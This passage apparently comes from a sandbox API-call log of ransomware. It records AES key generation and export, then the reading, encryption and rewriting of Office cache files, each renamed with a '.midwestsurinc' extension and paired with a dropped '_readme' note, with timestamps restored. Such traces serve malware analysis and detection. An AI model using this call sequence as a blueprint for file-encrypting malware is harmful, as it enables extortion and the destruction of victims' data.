0x1045220 [0097.505] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0097.505] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0097.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0097.506] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0097.506] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0097.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0097.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0097.506] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0097.506] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0097.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x1f50020 [0097.507] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0097.831] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0098.141] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0098.229] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0098.229] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0098.352] FlushFileBuffers (hFile=0x2e8) returned 1 [0098.380] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0xa00000 [0098.380] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x302b00) returned 0x2960020 [0098.381] ReadFile (in: hFile=0x2e8, lpBuffer=0x2960020, nNumberOfBytesToRead=0x302aea, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2960020*, lpNumberOfBytesRead=0x174fb28*=0x302aea, lpOverlapped=0x0) returned 1 [0098.458] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x302b00) returned 0x2c70020 [0098.543] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2960020*, pdwDataLen=0x174fb24*=0x302aea, dwBufLen=0x302eea | out: pbData=0x2960020*, pdwDataLen=0x174fb24*=0x302af0) returned 1 [0098.581] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0xa00000 [0098.581] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0x302aea, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0x302aea, lpOverlapped=0x0) returned 1 [0098.619] FlushFileBuffers (hFile=0x2e8) returned 1 [0098.628] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0098.628] NtClose (Handle=0x2e8) returned 0x0 [0098.942] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.midwestsurinc")) returned 1 [0098.943] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0098.943] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0098.943] GetLastError () returned 0x2 [0098.944] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86290, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0098.944] GetLastError () returned 0x2 [0098.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0098.946] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0098.946] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0098.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0098.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xb) returned 0xf7d630 [0098.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0098.948] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d630) returned 1 [0098.948] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0098.948] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0098.948] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2e9, lpOverlapped=0x0) returned 1 [0098.948] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x59ec6370, dwHighDateTime=0x1d5dff7)) returned 1 [0098.948] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0098.948] NtClose (Handle=0x2e8) returned 0x0 [0098.949] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0098.949] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0098.949] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0098.949] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0098.995] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0098.995] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0098.995] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0098.995] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0098.995] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0098.995] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0098.995] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200)) returned 1 [0098.995] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0098.995] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0098.995] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0098.995] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0098.995] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0098.996] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0098.996] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0098.996] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200)) returned 1 [0098.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0098.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0098.996] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0098.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0098.996] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0098.996] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200)) returned 1 [0098.996] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0098.997] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0098.997] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0098.997] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0098.997] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0098.997] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0098.997] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0098.997] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xf4e5c7f0, dwHighDateTime=0x1d301be)) returned 1 [0098.997] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0098.997] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0098.997] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0098.997] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0098.997] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0098.997] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0098.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0098.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0098.998] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0098.998] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0098.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd7200) returned 0x1f50020 [0098.998] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0xd7200, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0xd7200, lpOverlapped=0x0) returned 1 [0099.017] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd7200) returned 0x2030020 [0099.049] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2030020*, pdwDataLen=0x174fb24*=0xd7200, dwBufLen=0xd7600 | out: pbData=0x2030020*, pdwDataLen=0x174fb24*=0xd7210) returned 1 [0099.057] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd7240) returned 0x2110020 [0099.074] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0099.074] WriteFile (in: hFile=0x2e8, lpBuffer=0x2110020*, nNumberOfBytesToWrite=0xd7200, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2110020*, lpNumberOfBytesWritten=0x174fb28*=0xd7200, lpOverlapped=0x0) returned 1 [0099.076] FlushFileBuffers (hFile=0x2e8) returned 1 [0099.090] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0099.090] NtClose (Handle=0x2e8) returned 0x0 [0099.096] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.midwestsurinc")) returned 1 [0099.096] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0099.097] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0099.097] GetLastError () returned 0x2 [0099.097] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf862b0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0099.097] GetLastError () returned 0x2 [0099.097] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0099.097] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0099.097] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0099.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0099.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1b) returned 0x184c620 [0099.098] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2f9, lpOverlapped=0x0) returned 1 [0099.098] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x5a043130, dwHighDateTime=0x1d5dff7)) returned 1 [0099.098] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0099.098] NtClose (Handle=0x2e8) returned 0x0 [0099.099] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0099.099] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0099.099] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0099.099] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2110020) returned 1 [0099.103] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0099.103] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0099.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0099.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0099.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0099.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0099.104] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1)) returned 1 [0099.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0099.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0099.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0099.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0099.104] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0099.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0099.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0099.104] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1)) returned 1 [0099.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0099.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0099.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0099.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0099.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0099.105] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1)) returned 1 [0099.105] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0099.105] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0099.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0099.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0099.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0099.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0099.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0099.105] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xf4e37e00, dwHighDateTime=0x1d301be)) returned 1 [0099.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0099.105] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0099.105] CryptExportKey 